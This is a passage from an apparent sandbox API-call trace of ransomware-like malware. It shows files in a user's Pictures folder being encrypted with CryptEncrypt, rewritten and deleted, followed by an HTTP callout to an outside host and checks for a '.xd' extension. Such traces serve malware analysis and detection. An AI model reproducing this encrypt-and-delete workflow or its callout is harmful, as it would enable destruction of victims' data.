wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.274] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.274] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.274] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.274] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.275] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.275] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.275] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x180ce, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x180d0) returned 1 [0060.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.275] CharLowerBuffW (in: lpsz="byte[98513]", cchLength=0xb | out: lpsz="byte[98513]") returned 0xb [0060.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.278] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.278] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.278] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.280] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.280] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.280] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1825078*, pdwDataLen=0x130e618*=0x180ce, dwBufLen=0x180d0 | out: pbData=0x1825078*, pdwDataLen=0x130e618*=0x180d0) returned 1 [0060.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.284] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.284] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.284] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.284] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.284] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.284] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.284] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.284] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.284] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.285] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.285] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.293] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.293] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.293] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.293] WriteFile (in: hFile=0x3bc, lpBuffer=0x186d008*, nNumberOfBytesToWrite=0x180d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesWritten=0x130f01c*=0x180d0, lpOverlapped=0x0) returned 1 [0060.295] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.296] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.296] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.296] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.296] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.296] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.296] CryptDestroyKey (hKey=0x164c770) returned 1 [0060.296] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.296] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.297] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.297] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.297] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.297] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.297] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.297] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.297] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.297] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.297] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.297] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.297] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.298] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.298] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.298] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.298] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.298] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.298] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.298] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.298] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.298] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.298] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.298] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.299] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.299] CryptReleaseContext (hProv=0x17aaab0, dwFlags=0x0) returned 1 [0060.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.299] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.299] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.299] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.299] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.299] CloseHandle (hObject=0x2ac) returned 1 [0060.300] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.300] CloseHandle (hObject=0x3bc) returned 1 [0060.303] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.304] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.304] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", lpFilePart=0x0) returned 0x33 [0060.304] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\larum.bmp")) returned 0x20 [0060.304] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7f0 [0060.307] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\LARUM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\larum.bmp")) returned 1 [0060.310] FindNextFileW (in: hFindFile=0x164c7f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.337] FindClose (in: hFindFile=0x164c7f0 | out: hFindFile=0x164c7f0) returned 1 [0060.337] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.337] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.337] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.337] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.337] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.337] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.338] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.338] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.338] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.338] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.338] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.338] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c) returned 1 [0060.338] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.338] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.338] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.339] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.339] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.339] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.339] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.339] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.339] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.340] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.340] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.340] CloseHandle (hObject=0x0) returned 0 [0060.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.340] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 